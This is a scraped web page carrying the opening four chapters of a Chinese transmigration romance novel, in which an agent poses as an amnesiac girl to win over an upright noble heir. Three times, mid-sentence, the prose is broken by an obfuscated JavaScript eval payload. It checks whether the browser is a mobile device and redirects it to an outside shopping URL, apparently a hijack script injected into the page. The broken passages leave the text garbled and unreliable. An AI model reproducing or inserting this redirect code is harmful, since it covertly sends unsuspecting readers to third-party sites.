《在买股文中同时攻略三个男主(快穿)》 1. 清冷正直国公府世子1 隆冬十一月,一场大雪忽至。从景国边境前往京都的必经之路上,行人寥寥无几,一片洁白中,唯有成国公府的马车显得异常突出。 江遥躲在暗处,观察着马车的方向。马车内的主人,是她本次的攻略目标。想到即将要见面的人,江遥弯了弯唇:谢瑜,希望你喜欢我为你设置的剧本。 “世子,我是为您抱不平。咱们成国公府为景国镇守边关多年,忠心耿耿,陛下在此时将您调回京都,担任的还是监察御史这一文官,明显是怕国公爷拥兵自重,在敲打我们呢。” 马车内,谢瑜的随侍剑书愤愤道。 谢瑜低着头,漆黑眼眸中虽看不出情绪,可身上的肃杀之气却难以掩饰,那是多年征战铸就的。 他随手翻阅着兵书,回道:“剑书,不可妄言。监察御史虽品级不高,但有‘掌纠察官邪,肃正纲纪’之责,是清要之职,这是天子对我的爱重。”(1) 剑书嘟囔道:“也对。公子您素日里手不释卷、又咬文嚼字的,倒也像个文官。” 马车本该一路向西,畅通无阻,可不知怎的,经过一个拐角处时,疾驰的马车在瞬间停下,车轮碾过积雪,留下很深的车辙印,马匹被骤然拉住缰绳,扬起前蹄,嘶鸣一声。 “世子,刚刚撞到了一名女子。”驾车的随侍墨砚回道。 这女子出现得实在太过突然,饶是墨砚反应迅速,也没得及彻底拉住马车。 谢瑜掀开车帘,果见前方一片雪色之中,躺着一粉衣女子。 墨砚跳下马车,上前探了探她的鼻息:“世子,还活着。您看,这女子该如何处理?” “把她带上马车吧。”年轻男子的声音疏离淡漠。 哪怕人不是他们撞的,也不能就这样把人丢在那里。 等这女子被带上马车后,谢瑜才发现,如此冰天雪地的日子,她竟然还穿着单衣。方才应该是赤脚走在路上,双足还渗着血。 女子斜靠在马车内的一角,乌发披散,眉眼如画,哪怕不施粉黛,面色苍白,也难掩姿色。 “这姑娘,应该吃过不少苦。”剑书道。 若是生在贫苦之家,花容月貌不但不会带来好处,反而会引来不少人觊觎,招致灾祸。这些年在边关,他们见过不少这样的事。 剑书不着痕迹地看了自家世子一眼,心里暗自为这姑娘松了口气:还好,这姑娘遇见的是他家世子。若论正直,他家世子称第二,则无人敢称第一。他家世子绝非那些好色之徒,也一定会为这姑娘主持正义的。 谢瑜一把扯下自己身上的狐裘披风,想要盖在女子身上。 “别碰我,别碰我!”女子紧闭着双眼,眼泪不断留下,双手握拳,像是用力在挣脱什么,挥舞着的双手一下打在谢瑜左手手腕上。 她的手,烫得吓人。 谢瑜旋即避开女子额头上的伤口,摸了下她的额头。果然,是高热之状。 再这样烧下去,这女子会没命的。 “墨砚,到最近的村落有多久?”谢瑜蹙眉问。 “改道去最近的村落的话,还有一个时辰。但世子,那一带常有匪患出没,恐会延误咱们回京的时辰。”墨砚答道。 “无妨,人命关天,全力赶去那里。” 至于匪患,谢瑜唇角微扯,眼里有嘲弄之意,若是真的遇上了,就顺手剿灭便是,也算是他这个新上任的御史为朝廷所做的贡献了。 他给女子喂了些随身带着的药,好把她的高热暂时降下来。 墨砚和剑书两人轮流驾车,全力往村落方向赶。走过一处密林的时候,果见有一伙人拦路。 剑书略微数了一下,大概三十来人。 为首的是个刀疤脸,持双刀。见谢瑜一行人的马车朴素,没有景国寻常权贵之家的云纹,便料定是个好欺负的主儿。他将嘴里叼着的草一口吐掉,喝道:“前几天跑了大哥的小美人儿,这两天又下雪,好一阵子没遇见送上门的茬了。兄弟们,给我拦下他们,得来的钱今晚给你们加菜。” “才两个人,还没干过这么轻松的活。” “干了这一票,今儿晚上热闹热闹。” 他们口中操着污言秽语,拎起武器就向剑书和墨砚袭来。 许久不打仗,剑书和墨砚早都跃跃欲试,拿起剑就与他们厮杀起来。飘扬的雪花与飞溅而来的血水成了最好的搭配,大片大片的白色与血色混杂在一起,形成一股诡异之感。 刀锋将至,剑书一个闪身,手腕反转,一剑刺中对方要害。墨砚则一脚将那个使双刀的刀疤脸踹开,手上同时一劈,挡下另一人的一剑。他二人背对背而立,剑光飞舞,三十几个匪徒很快死伤大半。 刀疤脸眼见落了下风,与另一抡大锤的小弟眼神交汇,二人同时向剑书发起攻击,剑书一剑砍断大锤的锁链,刀疤脸却是侧身一躲,脚上旋即调转方向,挥刀向马车处砍去。 谁料他刚一接近马车,便有一个白玉茶杯从车内被掷出,直接打落了他手上的刀。车帘掀起,刀疤脸只来及看清车内年轻男子无喜无怒的面容,便被下一个飞来的茶杯击中,这一击力道之大,竟是直接朝着他的心口而来。茶杯应声而碎,一口鲜血从他口里吐了出来。 不远处的剑书嗤笑一声:“不自量力,区区一个你,我们世子的剑不用出鞘就可以解决。” 刀疤脸再也坚持不住,晕了过去。 谢瑜抬眼看了看昏迷着的女子,高热将她此前苍白的面容已经烧得微微发红,却依然有种惊心动魄的美。 他淡淡地对剑书二人吩咐道:“速战速决,别忘了留几个活口。” “遵命。” * 客栈内,须发皆白的医者在给女子把完脉之后,叹息了一句:“这姑娘本就体质虚弱,又屡遭惊吓,再加上风寒入体,这才起了高热。至于额头和脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491210|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的伤,不过是皮肉伤而已,将养几天便好。” 大夫在开完药后又对着谢瑜仔细叮嘱道:“风寒易治,待我开几服药即可。然虚弱难调,她日后一定要仔细将养,万不可再受刺激,否则恐有性命之忧。” 这女子身上盖着的狐裘披风做工精致,与谢瑜身上的长袍绣着的是一样的图案,加之出色的外表与谢瑜看上去十分登对,大夫下意识就将两人当成了一对,因此不免多叮嘱了几句。 谢瑜微微颔首,却没有解释什么,只是叫墨砚送一下大夫。 他久居边关,对于男女大防没那么在意,可旁人却不同了。若是叫人知道他和这姑娘非亲非故又同处一室,难免会有些流言蜚语。 剑书去审问抓来的匪徒,墨砚去送大夫,走之前,还很贴心地将门关了起来。一时之间,屋内只剩谢瑜和这女子两人。谢瑜也正欲离开,却听见床上的人嘤咛一声,悠悠转醒。 她睁开眼,看见陌生的四周,眼里全是茫然。待看见谢瑜时,反应了一下,而后眼睛立马亮了起来,双眸璀璨如星子:“哥哥!” “你叫我?”谢瑜讶然道。 女子点点头:“我记得你,你是我的哥哥!” 谢瑜眉头一皱,瞥见女子头上的伤口,心里暗叫不好。 她难道是刚才撞坏了脑子,怎么逢人就叫哥哥? 他抬脚就要出门去请大夫,哪知女子见他要走,登时急切了起来,不管不顾地从床上下来,赤着脚追上谢瑜,拉住他的衣角。 谢瑜转过身时,恰好被女子环腰抱住。他从小随父亲驻守边关,周围都是些糙汉子,从来没有和女子离得这么近过,被抱住时身形有些僵硬。 方才她昏迷时也便算了,而今她醒了,还将自己当成了她的哥哥,自己若是放任,便是趁人之危。 他手上稍用了些力,想要推开女子,不想女子却抱得越发用力。 女子带着哭腔的声音从他的胸口处传来:“哥哥,你能不能别丢下我?” 大概是处于全然陌生的环境,而谢瑜又是她看见的第一个人,她对谢瑜有些天然的信赖感。 谢瑜低头,看着女子脚上本来包扎好的伤口又开始渗血,又想起大夫说她不能再受刺激的事,叹了口气,终是没狠下心推开她。 是他的问题,方才来得匆忙,竟然没想到给这女子准备双鞋。 恰在此时,剑书审讯完活着的匪徒后,想和谢瑜汇报情况,便急匆匆推开门。他们在军中习惯了,向来不讲究些虚礼。可谁料推开门,却看见方才还昏迷着的女子竟然和他家世子抱在一起。 剑书:什么情况??? 他连忙背过身去:“世子,是我来得不巧了,我这就走。”说着就要退出门去。 然后就听见他家向来看不出喜怒的世子一向平稳的声线竟然难得有了起伏:“你看不出她失忆了吗?还不快去把之前那位大夫请回来。” 2. 清冷正直国公府世子2 大夫拎着医药箱回来时,还喘着粗气。他和墨砚刚走出客栈没多远,便被急匆匆赶来的剑书抓着胳膊带了回来。他没好气地抱怨剑书道: “你这小子,走路也太快了,老朽一把年纪可禁不住你这么折腾。” 剑书摸着头,赔笑道:“对不住,对不住,老先生。实在是情况紧急,事急从权。”他怕再晚来一步,自家世子的清白就要不保了。 剑书:那姑娘失了忆,上一秒把世子认成哥哥,下一秒可能就认成郎君了,绝不能让这样的事情发生。 老大夫这才发现方才还昏迷着的姑娘已经醒来,眼圈红红的,很是听话地坐在床榻边,只是手里却紧紧抓着身旁那位风度翩翩的公子的衣袖不放。她双脚悬空,方才包扎好的伤口已经崩开,白布上隐隐透出血迹。 谢瑜好容易才让抱住他不放的姑娘相信,他们不会丢下她。他没什么和女子相处的经验,言谈之间有些生硬,但是这女子倒是很信赖他,半点不怀疑。 大夫上前,重新给这位脚受伤的姑娘包扎好伤口。听完谢瑜的描述后,大夫捋了捋自己花白的胡须,说出自己的结论:“这位姑娘可能是在先前受到过巨大的刺激,又被撞到头,所以潜意识地把自己的过往都忘了。” “至于把您错认成是她的兄长,或许是因为您和她的兄长有相像之处。” “没认错,哥哥就是哥哥,我见过的。”小姑娘有些生气地反驳,一双杏眼盈满怨气,却没有丝毫威慑力。她还想再说些什么,可脑子里稀少的记忆又令她说不出个所以然。 “那她这记忆,可有办法找回来?”谢瑜问。 大夫重新修改了药方,将新的药方递给墨砚,然后才回答:“只能是尽人事,听天命。” 意思是谢瑜尽可以找各种方法尝试,但能不能成,还要看天意。 事情好像越来越棘手了。谢瑜看着这位不知道姓甚名谁的小姑娘,平日里在战场上算无遗策的人,清俊面容上难得犯了一丝难色。 “世子。”剑书喊了谢瑜一句,又不动声色地看了眼抓着他衣角的俏丽姑娘,主仆两人神色交汇,顷刻间了解了彼此的意思。 谢瑜让墨砚给大夫付了双倍的诊金,又吩咐他再次送一送大夫。老大夫行医多年,还是头一次见到出手这么阔绰的人,很是高兴地踏出门去,墨砚还在一旁说:“您放心,这次我一定将您送到医馆门口。” 然后谢瑜又对身边的姑娘温声解释:“我有些事需要处理一下,很快回来。” 剑书以为按照之前这姑娘抱着自家世子不撒手的劲儿,听见世子要离开,是绝对不会轻易同意的,他甚至还想着,要不一会儿把人直接打晕。哪知姑娘听到谢瑜的话后,立马就放开了手,很是善解人意地说:“好呀。” 自从知道谢瑜不会丢下自己,她就很好说话,基本是谢瑜说什么信什么。 剑书挑了挑眉:“有点意思啊,这姑娘。” 方才昏迷时看不出来,如今看她醒来,不染杂质的澄澈性格倒是中和了些外貌的艳丽柔弱,让人看着心生怜悯却又难生旖旎之心。如今站在世子身边,从外貌上看着,和他家世子还挺登对。 剑书并不知道,待他和谢瑜二人出门后,他眼中那个性格澄澈的姑娘登时就变了气质,一派懒散倦怠之色,看上去与之前全然不同。 江遥随意地躺在床榻上,脑海中想着这个世界的剧情。 这个世界本来是一个修罗场买股文的世界,女主许远宁作为盛国派来潜伏在景国的暗桩,女扮男装,入朝为官。她先是接近常年驻守边关的男主之一谢瑜,从谢瑜处得来不少景国边防的消息; 同时,她又借着与身为大理寺少卿的又一男主宋清时的同窗之谊,利用宋清时为潜入景国的盛国人遮掩;后来在一同治理旱灾时,她又引得景国五皇子楚明霄为她动了心……最后,许远宁成功为盛国在和景国接下来的大战中,带来显著优势。 景盛两国一场大战,致使生灵涂炭、尸骨遍地。许远宁本以为自己是大义之举,一切都是为了盛国的荣耀而战。 可当她亲眼看见自己曾经治下的百姓和自己家乡的百姓全部成为刀下亡魂时,看见谢瑜为守住景国边境最后一道防线而死战时,看见曾经纤尘不染的宋清时为护住景国百姓而血流不止时,看见意气飞扬的楚明霄为救下景国年幼的小女孩而对盛国将领下跪时,她突然就后悔了。 无数人的鲜血和死亡终是让许远宁看清了她效忠的盛国君主的残忍,国与国的交战无论结果如何,最终受苦的只有百姓。于是,许远宁选择和三个男主联手,共同抗击盛国。在他们的努力下,景盛两国重新签订契约,重归和平。 平心而论,单看许远宁这个人,江遥真的觉得十分佩服,不仅以女子之身在男子为尊的朝堂上站稳了脚跟,还政绩斐然。又在最后,做出了正确的选择,拯救了两国百姓。 作为盛国国君萧冥的私生女,她从小就被灌输一切为了盛国的理念,少年时便被送来景国作暗桩,为盛国付出几乎刻进了她的骨血中。可这个原本是上位者为扩大国家版图而训练的棋子,却在最后有了自己的意识。不得不说,这个人物是十分鲜活的。 但若从死去的万千景国百姓的角度来看,就又会不一样了。 鲜血与杀缪虽然让主角看清了真相,可死去的人终究已经死去,这是无可挽回的事实。这些死去的人之中,有平凡的农户,他们有着幸福的家庭,过着虽然辛苦却也能自食其力的生活;也有日夜苦读的士子,他们或许是景国未来的栋梁之材,渴望到官场实现抱负;也有士卒和将领,他们浴血奋战,只为家国安稳。 这些人在知道自己只是主角觉醒路上的踏脚石时,怨气浓重,所有人的怨气集结在一起,引得书中世界崩塌,于是就有了江遥的到来。 在江遥来之前,公司曾经派出不少项目组的同事来维护世界秩序,可惜主线组的同事在引导女主转变思想时被她一刀刺死,事业组的同事潜伏在几个男主身边时,不是不被信任,就是被当成盛国刺客,就地格杀。 “那可是男女主啊,意志坚定、手段果决是他们的标配,如果这么容易被改变才奇怪吧。”主线组失败的同事曾经不无怨气地抱怨道。被女主杀了四次,她听到许远宁的名字就觉得心脏痛。 在直面残酷的死亡与鲜血带来的人间惨剧之前,江遥的同事们认为很难改变主角的所思所想。 无奈之下,绿江穿越公司只能派出攻略组的金牌员工江遥。 江遥躺在床榻上,脑中粗粗过完一遍主线内容,判断了一下时间节点。在原剧情中,谢瑜等人快马加鞭赶回京都,遇上了同样被调回京都赴任户部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491211|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女主,许远宁故意让自己的马匹受惊,谢瑜出手相助,从而有了她和谢瑜的后续接触。 而现在,因为救治江遥,谢瑜一行人绕路来到了现在他们所在的王家村,与原定的归京时间大相径庭,正好错过了与许远宁的相遇。 第一个重点剧情,成功pass! 江遥想着想着,就有些困了。她在遇见男主之前在雪地里走了太久,又发着高烧,能坚持到谢瑜来已经很不容易了,一闭上眼,就沉沉睡去。 在她思考原书剧情的这段时间,谢瑜已经从剑书口中大致了解了江遥的身份。他们二人走出客栈后,在客栈不远处的凉亭停下。 “世子,我推测,咱们救的这位姑娘应该是江副都部署的独女,江遥。”剑书道。 谢瑜闻言,惊讶了一瞬,微微蹙眉。 剑书口中的江副都部署是他父亲成国公的副手,江镇远,也是谢瑜父亲最信赖的人,此人与成国公一同镇守边关多年,情谊甚笃。江镇远的独子江望也是与谢瑜从小一起长大、一起出生入死的兄弟。 而前不久,在一场与突厥人的战役中,江镇远为了保护成国公,不慎中了敌方的暗器,又坚持不下战场,最终打赢了仗,却也身受重伤。 在军医判断他时日无多的当天晚上,成国公命人快马加鞭、日夜兼程地赶往京都。成国公向景德帝上书请求准许江镇远远在京城的妻女前来见他最后一面。 君王不召,不能擅自离开驻守之地。多年来,江镇远和妻女见面的机会寥寥无几,成国公想为自己的老友最后求一个恩典。 “抓来的匪患们说,三日前,他们是在江副都部署的妻女来王家村歇脚的时候盯上她们的,在劫了她们的财物后,又见江姑娘长得貌美,这才生了龌龊的心思,后来……”饶是见惯了生离死别,剑书也不忍再说下去。 因为就在前一天,他们刚刚收到来信,江副都部署已经撑不住,溘然长逝了。 他生前身先士卒,死守边关,而他所护佑的百姓却在他临别之际劫了他的妻女,让他们错过了最后一面,这是何等地叫人心寒。 谢瑜望着客栈的方向,面无表情,可语气却十分严肃:“继续说。” 剑书脸色难看,气愤地说:“后来是江夫人用性命护住江姑娘,江姑娘拼死一搏,这才从匪患手里逃了出来。而江夫人,抵死不从,为护名节,从万丈悬崖上跳了下去,尸骨无存。” “这些贼人不知道江姑娘等人的身份,若是知道也不会如此无法无天。我是翻了他们劫回来的财物才知道的。” 谢瑜的表情已经有些愠怒。他向来喜怒不形于色,此刻却是被激出了三分火气:“剑书,你和墨砚带上我的令牌去找当地的知府调兵。” 凉亭外风雪凛冽,年轻男子眼中的寒意却比风雪更甚,他薄唇轻启,嗓音淡漠: “我要这些人,一个不留,如数为江夫人偿命。” “遵命。” 剑书领命而去后,谢瑜将目光投向凉亭之外:纷纷扬扬的雪花还在落着,这场雪一连多日,也不知道要下到何时。 他走出凉亭,伸出手,接住掉落的雪花,雪花很快融化在他的手心里,只留下逼人的凉意。 想到客栈里那个穿得单薄的姑娘,所以她就是在这样的雪天,一个人走了三天三夜吗? 3. 清冷正直国公府世子3 谢瑜再次回到客栈时,为江遥带来了一些冬装和几双鞋子。江遥已经睡着了,大约是经过一场惊吓,她睡得很不安稳,眉心微蹙,手还抓着被子,一只脚也被露在外面。 谢瑜重新给江遥盖好被子,也是这时他才发现,江遥和江望的眉眼真的很像。 他少年时曾经见过好友江望的妹妹,江遥自小随祖父祖母长在楚州,直到八岁时才被父母接来京都,那时的江遥还没有他一半高。他来府中拜访,而她却藏在自己哥哥身后,悄悄地打量他,一双杏眼里充满好奇。 而当谢瑜向小姑娘回望过去时,她却一点也不害羞,反而看着谢瑜的眼睛惊叹地说:“你就是知白哥哥吗,长得可真好看,你可以做我的夫君吗?”那时的江遥刚刚参加完一场婚仪,学到了“夫君”这个词,也不知道是什么意思就胡乱用上了。 这句话成功引得十分宝贝妹妹的江望再也不敢将他带到妹妹面前。虽然他们本来也没有多少见面的机会。 后来他和江望一同随着父亲去了边关,就再也没有见过她。对于少年时的记忆,谢瑜其实已经很淡了,淡得如果不是江遥那句“哥哥”,他几乎已经想不起来自己曾经见过江遥了。 “没认错,哥哥就是哥哥,我见过的。”小姑娘带着气愤的话仿佛犹在耳畔,谢瑜微微勾唇,几不可闻地笑了一下。 原来她真的没认错。 即使她忘记了他的名字,却还是能在见到他的第一眼认出他。 只不过,想到江遥的经历,谢瑜眼神一变。 短短几日,双亲尽失。世间与她血脉相连的,只剩一个兄长。 他该怎么告诉她这残酷的真相? 谢瑜垂眸,收起眼中的深意,轻轻退出了女子的房间。 回到自己的屋子后,谢瑜走到窗前,借着天边昏暗的光线,提笔写下了一封信。他推开窗,一股寒气瞬间侵入房间,谢瑜轻吹骨哨,躲藏在暗处的暗卫随即现身。 谢瑜把信交给暗卫,淡淡道:“派人去寒州把信交给江望。” 他既然答应了不会丢下她,便不会食言。 窗外,不知何时,风雪渐停。 谢瑜想,以后她不会再经历这样的风雪了。因为,他将会是她的庇护。 * 江遥再次醒来的时候,已经是第二天早上了。自己现在的身体状况应该真的很差,哪怕休养了一天,她也还是觉得自己有说不出的难受,心脏处像被无数根细小的针扎着,力道不重,却叫人难以呼吸。她单手撑着床,想要坐起来,结果手上没有力气,一下又跌了回去。 一双有力的手很快将江遥扶了起来。江遥抬头一看,是一个身量高挑的女子,丹凤眼,看着很瘦,却很有力气。 “江姑娘,我是世子派来照顾您的,您可以叫我寒星。” 一女子站在江遥床榻旁,拱手道。她虽面色恭谨,穿着婢女服饰,但身上自然有一种沉稳的气场。 “世子?”江遥有些疑惑地看向寒星。她本人当然知道寒星口中的世子是谢瑜,但问题是她现在的人设是“只记得谢瑜是幼时见过一面的哥哥但不知哥哥姓甚名谁”的失忆少女人设。 “就是您的哥哥,谢瑜。”寒星有些不自然地回答道。 她对于昨晚突然接到的新任务还有些不适应。寒星作为成国公府的影组暗卫,最擅长的是暗杀和暗处保护,至于伪装身份和打探消息的事则是光组暗卫应该干的事。而昨晚剑书突然将暗处一袭黑衣的她唤出来,一脸神秘地对她说:“寒星,世子有个万分重要的任务交给你。” 寒星一脸郑重地点头,最后却被告知是要作为一位姑娘的贴身婢女,时时保护她。 被迫穿上粉色常服的寒星:暗卫暗卫,就是要在暗处。暴露在人前的事,我暂时还没学过啊。 对于寒星的到来,江遥其实是有些吃惊的。 没记错的话,寒星在原剧情中要到很后期才出场,在江遥的印象里,是一个很飒的女暗卫,一袭黑衣、来去如风,许远宁是盛国人的暗桩的情报就是她负责传递的。怪不得昨晚她烧得迷迷糊糊的时候,感觉有人动作彪悍地掰开了她的下巴喂药,一勺一勺的药汁,灌得又快又猛。 直到现在,江遥还觉得下巴似乎在隐隐作痛。 “姑娘,这些都是世子给您准备的冬装,您看想穿哪一件呢?”在江遥发愣的时候,寒星已经为她拿出了几身冬装。 单单看这几身衣服的裁剪与式样,就能看出衣服做工的精致。江遥选了套主色调为天蓝色的,外衣面料轻薄,对襟绣着同色系的木兰花,下装则是月白色的织锦百迭裙。看上去雅致又不失灵动。 她穿好衣服后,又看到地上谢瑜为她准备的几双鞋子:有用多层棉布做成的软底鞋,也有柔软的羊皮做的皮履……虽然款式、材质各不同,但无一例外,都是很适合脚伤病人的鞋子。 江遥不禁感叹道:不愧是原书中人气最高的男主,虽然表面清冷,但为人正直又细心,是绝对担当得起“光风霁月”这四个字的人。但想到他在书中的最后结局,江遥又十分遗憾。 她在脑海里点开蓝绿色的呼叫系统,接通后,她向负责后台监察的同事询问道:“谢瑜中毒的结局真的无可避免吗?” 原书中的谢瑜在与许远宁一同去查账时,遇上了伏兵,谢瑜替她挡下了盛国人射来的毒箭。那毒十分诡谲,没有解药可言,哪怕有良医在身边,谢瑜也还是失去了全部的内力,半数武功尽废,以至于在后来景盛两国大战时,谢瑜临危受命领兵出征,在战争中身受重伤,落下了腿疾,翩翩公子就此缠绵病榻且不良于行。 人都说多行不义必自毙,然而谢瑜做错了什么呢?他4岁开蒙,5岁习武,13岁便随父亲成国公镇守边关,身上伤疤无数。他救了自己眼中的朋友,却落得个这样的结局。难道说他错在有情有义吗? 江遥觉得这样的结局对谢瑜实在是太残忍了。 这次负责监察这个sss级难度的任务的同事也是监察组的金牌员工,名为蓝雁,同为公司第一梯队的员工,两人却从未搭档过,只是听闻她做事很是雷厉风行,工作效率极快,与江遥细水长流的工作方式大相径庭。 接收到她的连线,蓝雁很快回复,通过系统传来的声音近乎冰冷:“攻略组员工江遥,你虽然是如今的积分榜第一,但鉴于你是第一次接受死遁型攻略任务,所以我还是负责任地提醒你,作为攻略组的一员,你的任务只能是攻略男主,成为男主的白月光,然后死遁。我们的最终目的只是让男主们断情绝爱,不再和女主纠缠,解决景国潜在的危机。哪怕最终不能阻止战争的到来,能减少景国伤亡也是完成任务。” “至于男主们所经历的事情,那是他们自己的选择造成的,你不能随意更改。每个人都要为自己的选择承担代价,强行改变剧情,会受到主世界的惩罚。也就是说,谢瑜之所以会中毒,是他个人的性格弱点决定的,是他必然要经历的一环。” 世有纲常,物有秩序。每个世界有每个世界运行的法则,攻略组只有攻略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491212|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的权限,没有改变主线人物既定命运的权限。 做了许多任务的江遥对此再清楚不过,如今询问,也不过是抱了一丝无谓的幻想。 听完蓝雁的话,她什么也没说,只是默默在心里做了个决定。如果非要有一个人来承担后果,那么就让她来吧,反正她注定要死的。 …… 江遥去另一间房找谢瑜的时候,他正在听剑书和墨砚汇报情况。从天黑到天亮,经历过一场大战的剑书和墨砚厮杀得酣畅淋漓,还未顾得上休息就来找谢瑜复命了。 剑书连脸上的血渍都还没擦,他简单介绍了几句情况,将令牌交还给了谢瑜。 习武之人耳力都很好,江遥还未进门时,隔着很远一段距离,谢瑜等人就已经听见了她匆匆跑过来的脚步声。 谢瑜漫不经心扫了眼剑书和墨砚身上的血迹,表情淡漠,好像什么都没说,又好像什么都说了。 剑书和墨砚彼此看了看自己被血染红的外袍,瞬间明白了谢瑜的意思,他是担心他们俩身上的血迹会吓到江姑娘。也对,大夫说江姑娘那身子骨儿,再不能受刺激,万一真的吓到了她,剑书和墨砚两人真是会觉得万死难辞其疚。 两人登时警铃大作,慌忙开始脱外衣,等脱下了外衣,又发现这外衣拿在手里似乎又容易引人生疑,又开始四处找地方藏外衣。 于是等江遥和寒星敲过门进来时,就看到正在鬼鬼祟祟地藏外衣的二人:剑书好像打开窗户扔出去了什么东西,但是速度太快,没看清;墨砚坐在椅子上,臀部好像垫了什么东西。 江遥沉默了一瞬间,努力调整表情。她想,墨砚和剑书这么做一定是有自己的道理的。 剑书瞧见江遥的眼神后,尴尬一笑,以为掩饰过去了,没想到江遥打量了他一下后就皱起了眉。 他心里一凉,低头看脚掩饰表情。 下一秒,一只苍白纤细的手拿着一块手帕送到了自己面前,手帕的主人似乎有些担心,她用另一只手指了指剑书脸上的血迹:“剑书大人是受伤了吗?” 在来之前,寒星已经和江遥介绍了一下谢瑜身边的人,因此江遥倒也不必装不认识他们。 “没有的事儿,我怎么可能受伤,那都是别人的血。”剑书接过手帕,下意识地回答。 谢瑜冷冷地瞥了他一眼。 剑书登时准备改口,想好的话还没说出口,就被江遥打断了。 江遥语气意有所指,显然是明白了什么:“大人,我虽然失去了记忆,但也并非是天真烂漫到什么都不懂之人。” 女子淡淡一笑,面容虽苍白,眼神却坚定。 她说:“所以不用刻意为我做什么,我自己的身体我知道的。若有一天我真的撑不住了,那也是我的命数。” 她这话是对着剑书说,却也是对着谢瑜说。 大约是初见时奄奄一息的样子太过深刻,又加上自己特殊的身份,谢瑜对她基本上是处处照顾。 但玫瑰纵使脆弱,也有去经历风雨的权利。她不想永远被谢瑜当做温室里的花朵,不想谢瑜永远要像照顾少不更事的妹妹一样照顾她、体谅她。 一段健康的感情不应该是这样的。 谢瑜淡淡抬眸,看到眼前的女子姿态娴静。 分明是年岁不大的人,对待生死之事却如此看得开。比起昨日初见时的惶恐与怯弱,今日的她,好像从容了些。 他定定看了几秒,而后才移开视线。 她好像比他想得,还要坚强些。 4. 清冷正直国公府世子4 一连下了多日雪的北地,终于开始放晴,迎来了难得的好天气。阳光透过云层,透出灿烂的光亮,积雪开始融化,道路上也不再是茫茫的白色。 饶是如此,江遥还是被寒星裹了好几层厚厚的衣物。因为在之前的几天,哪怕是足不出屋,江遥也总是会发烧,彻底吓坏了寒星。 在雪地里逃亡的三天三夜将她本就虚弱的身体底子消耗得一扫而空,只得每日汤药不离口,用名贵药材将养身体。 江遥摸着手里的小手炉,看着桌上又一碗热腾腾的汤药,神情恹恹。 每日两碗药,快乐走光光。再坚强的人每天喝药也遭不住啊。 “怎么,不想喝?” 谢瑜进来的时候就看见江遥苦大仇深地盯着那碗药,觉得有些好笑。 “太苦了,哪怕是蜜饯都不能拯救这碗药的味道。”江遥苦着脸,抱怨地说。 一连吃了四五个蜜饯,江遥这才视死如归地捏起鼻子,端起桌上的药,一鼓作气地灌下去。 中药入口,如同生吃黄连般的苦味在舌尖蔓延,然后在鼻腔处炸开,江遥强忍着恶心的感觉将药咽了下去。 “咳咳” 因为喝得太急,她被呛到了,不停咳嗽。 寒星的手一下一下地拍在她的背上,为她顺气。 江遥缓过来后,又猛灌了杯水,还是感觉口中那股苦涩的味道萦绕不散。 她可怜巴巴地看向寒星,伸出手,掌心向上,表示想再要一颗蜜饯。 寒星无奈地摇摇头,两手一摊:“蜜饯刚刚已经吃完了。” 江遥的表情顿时生无可恋:早知道蜜饯如此珍贵,她之前就不应该挥霍。 很快,一只骨节分明的手将一包蜜饯递了过来,是谢瑜,对方用清越的声线说:“吃吧,今天刚买的。” 江遥用看救星似的眼神拿起蜜饯,指尖轻擦过谢瑜温热的手背。 谢瑜的手颤了颤,唇角微抿。 屋子里的炭火烧得很旺,谢瑜甚至都出了一层薄汗,而江遥的手却依然冰凉,好像这场雪未尽的凉意都集中到了她一个人身上。 她吃了蜜饯,眉目舒展起来。 谢瑜却注意到她那无论何时都苍白的脸色,忍不住微微皱眉。 她的身体,究竟是有多差。 “知白哥哥,你来找我,是我母亲的行踪有消息了吗?”江遥期待地问道。 知白,是谢瑜的字,在景国,只有关系亲近的人才可称呼对方的字,而江遥又在字之后加了“哥哥”,对于谢瑜来讲,是很新奇的叫法。江遥一连叫了几天,他才习惯这个称呼。 听见女子的问话,谢瑜欲言又止,思绪不禁回到了几日前。 那一夜,谢瑜将江遥的身世告诉了她。但他终究没忍心告诉江遥,江夫人已经跳了崖,连尸骨都寻不到,只说江夫人下落不明。 虽然下落不明也不见得是个多好的消息,但好歹也算是为她留了个念想。 江遥果然比谢瑜想象中得更加坚强,她在听完自己所有的经历后,很平静地接受了一切,只问了句:“何时可以见到我父亲的灵柩?” 谢瑜回道:“江世叔的遗体已经运回京都江府了。你若是随我一同回京,三日后即可见到。” 昏暗烛火间,女子低着头,谢瑜虽然看不清楚她的神情,但还是从她紧紧抿着的唇中看出了她的情绪。 听到他的回答,江遥点了点头,勉强笑了一下:“那多谢世子了。” 